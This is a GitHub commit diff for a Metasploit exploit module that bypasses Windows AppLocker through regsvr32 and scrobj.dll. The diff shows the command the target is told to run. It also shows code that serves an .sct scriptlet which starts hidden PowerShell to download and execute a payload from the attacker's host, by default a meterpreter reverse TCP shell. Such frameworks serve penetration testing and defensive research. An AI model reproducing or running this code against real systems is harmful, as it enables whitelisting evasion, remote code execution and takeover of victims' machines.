Skip to content

Commit 52bbd22

Browse files
committed
Moving back to PSH option only
1 parent 8c7796c commit 52bbd22

File tree

1 file changed

+11
-25
lines changed

1 file changed

+11
-25
lines changed

modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb

Lines changed: 11 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,7 @@ def initialize(info = {})
2929
{
3030
'Payload' => 'windows/meterpreter/reverse_tcp'
3131
},
32-
'Targets' => [
33-
['PSH', {}],
34-
['CMD', {}]
35-
],
32+
'Targets' => [['PSH', {}]],
3633
'Platform' => %w(win),
3734
'Arch' => [ARCH_X86, ARCH_X86_64],
3835
'DefaultTarget' => 0,
@@ -42,17 +39,12 @@ def initialize(info = {})
4239
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
4340
]
4441
))
45-
register_options(
46-
[
47-
OptString.new('CMD',[false, 'The command to execute (For use with the CMD Target option only)',''])
48-
])
4942
end
5043

5144

5245
def primer
53-
url = get_uri
5446
print_status('Run the following command on the target machine:')
55-
print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
47+
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
5648
end
5749

5850

@@ -69,21 +61,15 @@ def on_request_uri(cli, _request)
6961

7062
def serve_sct_file
7163
print_status("Handling request for the .sct file from #{cli.peerhost}")
72-
url = get_uri
73-
case target.name
74-
when 'PSH'
75-
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
76-
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
77-
download_and_run = "#{ignore_cert}#{download_string}"
78-
psh_command = generate_psh_command_line(
79-
noprofile: true,
80-
windowstyle: 'hidden',
81-
command: download_and_run
82-
)
83-
data = gen_sct_file(psh_command)
84-
when 'CMD'
85-
data = gen_sct_file(datastore['CMD'])
86-
end
64+
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
65+
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
66+
download_and_run = "#{ignore_cert}#{download_string}"
67+
psh_command = generate_psh_command_line(
68+
noprofile: true,
69+
windowstyle: 'hidden',
70+
command: download_and_run
71+
)
72+
data = gen_sct_file(psh_command)
8773
send_response(cli, data, 'Content-Type' => 'text/plain')
8874
end
8975

0 commit comments

Comments
 (0)